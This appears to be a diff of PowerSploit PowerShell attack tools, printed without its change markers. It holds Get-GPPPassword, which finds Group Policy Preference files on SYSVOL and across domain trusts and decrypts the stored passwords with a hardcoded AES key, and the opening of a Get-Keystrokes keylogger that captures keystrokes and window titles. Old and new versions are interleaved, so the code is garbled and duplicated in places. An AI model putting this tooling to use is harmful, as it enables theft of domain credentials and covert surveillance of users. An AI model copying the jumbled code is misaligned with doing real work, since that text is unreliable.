function Get-DecryptedCpassword {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $Cpassword
|
||||
[string] $Cpassword
|
||||
)
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
#Append appropriate padding based on string length
|
||||
$Mod = ($Cpassword.length % 4)
|
||||
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
|
||||
|
||||
switch ($Mod) {
|
||||
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
|
||||
'2' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'3' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
}
|
||||
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||
|
||||
# Make sure System.Core is loaded
|
||||
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
|
||||
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
|
||||
|
||||
#Set IV to all nulls to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
|
||||
{
|
||||
throw 'Machine is not joined to a domain.'
|
||||
}
|
||||
|
||||
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
|
||||
|
||||
if ( -not $XMlFiles )
|
||||
{
|
||||
throw 'No files containing encrypted passwords found.'
|
||||
}
|
||||
|
||||
catch { Write-Error $Error[0] }
|
||||
}
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
|
||||
# helper function to parse fields from xml files
|
||||
function Get-GPPInnerField {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
try {
|
||||
$Filename = $File.Name
|
||||
$Filepath = $File.VersionInfo.FileName
|
||||
|
||||
#put filename in $XmlFile
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare blank variables
|
||||
$Cpassword = ''
|
||||
$UserName = ''
|
||||
$NewName = ''
|
||||
$Changed = ''
|
||||
|
||||
switch ($Filename) {
|
||||
# check for the cpassword field
|
||||
if ($Xml.innerxml -match 'cpassword') {
|
||||
|
||||
'Groups.xml' {
|
||||
$Cpassword = $Xml.Groups.User.Properties.cpassword
|
||||
$UserName = $Xml.Groups.User.Properties.userName
|
||||
$NewName = $Xml.Groups.User.Properties.newName
|
||||
$Changed = $Xml.Groups.User.changed
|
||||
}
|
||||
|
||||
'Services.xml' {
|
||||
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
|
||||
$UserName = $Xml.NTServices.NTService.Properties.accountName
|
||||
$Changed = $Xml.NTServices.NTService.changed
|
||||
}
|
||||
|
||||
'Scheduledtasks.xml' {
|
||||
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
|
||||
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
|
||||
$Changed = $Xml.ScheduledTasks.Task.changed
|
||||
}
|
||||
|
||||
'DataSources.xml' {
|
||||
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
|
||||
$UserName = $Xml.DataSources.DataSource.Properties.username
|
||||
$Changed = $Xml.DataSources.DataSource.changed
|
||||
$Xml.GetElementsByTagName('Properties') | ForEach-Object {
|
||||
if ($_.cpassword) {
|
||||
$Cpassword = $_.cpassword
|
||||
if ($Cpassword -and ($Cpassword -ne '')) {
|
||||
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
|
||||
$Password = $DecryptedPassword
|
||||
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
|
||||
}
|
||||
|
||||
if ($_.newName) {
|
||||
$NewName = $_.newName
|
||||
}
|
||||
|
||||
if ($_.userName) {
|
||||
$UserName = $_.userName
|
||||
}
|
||||
elseif ($_.accountName) {
|
||||
$UserName = $_.accountName
|
||||
}
|
||||
elseif ($_.runAs) {
|
||||
$UserName = $_.runAs
|
||||
}
|
||||
|
||||
try {
|
||||
$Changed = $_.ParentNode.changed
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
|
||||
}
|
||||
|
||||
try {
|
||||
$NodeName = $_.ParentNode.ParentNode.LocalName
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
|
||||
}
|
||||
|
||||
if (!($Password)) {$Password = '[BLANK]'}
|
||||
if (!($UserName)) {$UserName = '[BLANK]'}
|
||||
if (!($Changed)) {$Changed = '[BLANK]'}
|
||||
if (!($NewName)) {$NewName = '[BLANK]'}
|
||||
|
||||
$GPPPassword = New-Object PSObject
|
||||
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
|
||||
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
|
||||
$GPPPassword | Add-Member Noteproperty 'Password' $Password
|
||||
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
|
||||
$GPPPassword | Add-Member Noteproperty 'File' $File
|
||||
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
|
||||
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
|
||||
$GPPPassword
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
|
||||
|
||||
else {Write-Verbose "No encrypted passwords found in $Filepath"}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Password' = $Password;
|
||||
'UserName' = $UserName;
|
||||
'Changed' = $Changed;
|
||||
'NewName' = $NewName
|
||||
'File' = $Filepath}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Output $ResultsObject
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
catch {
|
||||
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
|
||||
}
|
||||
}
|
||||
|
||||
# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
|
||||
function Get-DomainTrust {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$Domain
|
||||
)
|
||||
|
||||
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
|
||||
try {
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
if ($DomainObject) {
|
||||
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
|
||||
}
|
||||
|
||||
try {
|
||||
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
|
||||
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
|
||||
if ($ForestObject) {
|
||||
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
|
||||
function Get-DomainTrustMapping {
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
# keep track of domains seen so we don't hit infinite recursion
|
||||
$SeenDomains = @{}
|
||||
|
||||
# our domain stack tracker
|
||||
$Domains = New-Object System.Collections.Stack
|
||||
|
||||
try {
|
||||
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
|
||||
$CurrentDomain
|
||||
}
|
||||
catch {
|
||||
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
|
||||
}
|
||||
|
||||
if ($CurrentDomain -and $CurrentDomain -ne '') {
|
||||
$Domains.Push($CurrentDomain)
|
||||
|
||||
while($Domains.Count -ne 0) {
|
||||
|
||||
$Domain = $Domains.Pop()
|
||||
|
||||
# if we haven't seen this domain before
|
||||
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
|
||||
|
||||
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
|
||||
|
||||
# mark it as seen in our list
|
||||
$Null = $SeenDomains.Add($Domain, '')
|
||||
|
||||
try {
|
||||
# get all the domain/forest trusts for this domain
|
||||
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
|
||||
# only output if we haven't already seen this domain and if it's pingable
|
||||
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
|
||||
$Null = $Domains.Push($_)
|
||||
$_
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
$XMLFiles = @()
|
||||
$Domains = @()
|
||||
|
||||
$AllUsers = $Env:ALLUSERSPROFILE
|
||||
if (-not $AllUsers) {
|
||||
$AllUsers = 'C:\ProgramData'
|
||||
}
|
||||
|
||||
# discover any locally cached GPP .xml files
|
||||
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
|
||||
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
|
||||
|
||||
if ($SearchForest) {
|
||||
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
|
||||
$Domains += Get-DomainTrustMapping
|
||||
}
|
||||
else {
|
||||
if ($Server) {
|
||||
$Domains += , $Server
|
||||
}
|
||||
else {
|
||||
# in case we're in a SYSTEM context
|
||||
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
|
||||
}
|
||||
}
|
||||
|
||||
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
|
||||
|
||||
ForEach ($Domain in $Domains) {
|
||||
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
|
||||
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
|
||||
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
|
||||
|
||||
if($DomainXMLFiles) {
|
||||
$XMLFiles += $DomainXMLFiles
|
||||
}
|
||||
}
|
||||
|
||||
if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
|
||||
|
||||
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
ForEach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerField $File.Fullname)
|
||||
$Result
|
||||
}
|
||||
}
|
||||
|
||||
catch { Write-Error $Error[0] }
|
||||
}
|
||||
|
||||
+308
-180
@@ -1,249 +1,377 @@
|
||||
function Get-Keystrokes {
|
||||
function Get-Keystrokes {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
|
||||
Logs keys pressed, time and the active window.
|
||||
|
||||
PowerSploit Function: Get-Keystrokes
|
||||
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
||||
Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
||||
Revised By: Jesse Davis (@secabstraction)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.PARAMETER LogPath
|
||||
|
||||
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
|
||||
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
|
||||
|
||||
.PARAMETER CollectionInterval
|
||||
.PARAMETER Timeout
|
||||
|
||||
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
|
||||
|
||||
.PARAMETER PassThru
|
||||
|
||||
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Keystrokes -LogPath C:\key.log
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Keystrokes -CollectionInterval 20
|
||||
|
||||
Get-Keystrokes -Timeout 20
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresec.com/
|
||||
http://www.exploit-monday.com/
|
||||
https://github.com/secabstraction
|
||||
#>
|
||||
[CmdletBinding()] Param (
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(Position = 0)]
|
||||
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
|
||||
[String]
|
||||
$LogPath = "$($Env:TEMP)\key.log",
|
||||
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
|
||||
[String]$LogPath = "$($env:TEMP)\key.log",
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
[UInt32]
|
||||
$CollectionInterval
|
||||
[Double]$Timeout,
|
||||
|
||||
[Parameter()]
|
||||
[Switch]$PassThru
|
||||
)
|
||||
|
||||
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
|
||||
|
||||
Write-Verbose "Logging keystrokes to $LogPath"
|
||||
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
|
||||
catch { throw $_ }
|
||||
|
||||
$Initilizer = {
|
||||
$LogPath = 'REPLACEME'
|
||||
$Script = {
|
||||
Param (
|
||||
[Parameter(Position = 0)]
|
||||
[String]$LogPath,
|
||||
|
||||
'"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode
|
||||
[Parameter(Position = 1)]
|
||||
[Double]$Timeout
|
||||
)
|
||||
|
||||
function KeyLog {
|
||||
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
|
||||
function local:Get-DelegateType {
|
||||
Param (
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
try
|
||||
{
|
||||
$ImportDll = [User32]
|
||||
}
|
||||
catch
|
||||
{
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
$TypeBuilder.CreateType()
|
||||
}
|
||||
function local:Get-ProcAddress {
|
||||
Param (
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
||||
$FieldArray = [Reflection.FieldInfo[]] @(
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
|
||||
)
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'GetAsyncKeyState',
|
||||
$True,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
#region Imports
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'GetKeyboardState',
|
||||
$True,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'MapVirtualKey',
|
||||
$False,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
# SetWindowsHookEx
|
||||
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
|
||||
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
|
||||
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
|
||||
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'ToUnicode',
|
||||
$False,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
# CallNextHookEx
|
||||
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
|
||||
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
|
||||
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'GetForegroundWindow',
|
||||
$True,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
# UnhookWindowsHookEx
|
||||
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
|
||||
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
|
||||
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
|
||||
|
||||
$ImportDll = $TypeBuilder.CreateType()
|
||||
}
|
||||
# PeekMessage
|
||||
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
|
||||
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
|
||||
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
|
||||
|
||||
Start-Sleep -Milliseconds 40
|
||||
# GetAsyncKeyState
|
||||
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
|
||||
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
|
||||
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
|
||||
|
||||
try
|
||||
{
|
||||
# GetForegroundWindow
|
||||
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
|
||||
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
|
||||
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
|
||||
|
||||
#loop through typeable characters to see which is pressed
|
||||
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
|
||||
{
|
||||
$VirtualKey = $TypeableChar
|
||||
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
|
||||
# GetWindowText
|
||||
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
|
||||
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
|
||||
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
|
||||
|
||||
#if the key is pressed
|
||||
if (($KeyResult -band 0x8000) -eq 0x8000)
|
||||
{
|
||||
# GetModuleHandle
|
||||
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
|
||||
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
|
||||
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
|
||||
|
||||
#endregion Imports
|
||||
|
||||
#check for keys not mapped by virtual keyboard
|
||||
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
|
||||
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
|
||||
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
|
||||
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
|
||||
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
|
||||
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
|
||||
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
|
||||
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
|
||||
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
|
||||
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
|
||||
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
|
||||
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
|
||||
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
|
||||
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
|
||||
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
|
||||
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
|
||||
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
|
||||
$CallbackScript = {
|
||||
Param (
|
||||
[Parameter()]
|
||||
[Int32]$Code,
|
||||
|
||||
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
|
||||
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
|
||||
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
|
||||
if ($TabKey) {$LogOutput += '[Tab]'}
|
||||
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
|
||||
if ($DeleteKey) {$LogOutput += '[Delete]'}
|
||||
if ($EnterKey) {$LogOutput += '[Enter]'}
|
||||
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
|
||||
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
|
||||
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
|
||||
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
|
||||
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
|
||||
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
|
||||
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
|
||||
[Parameter()]
|
||||
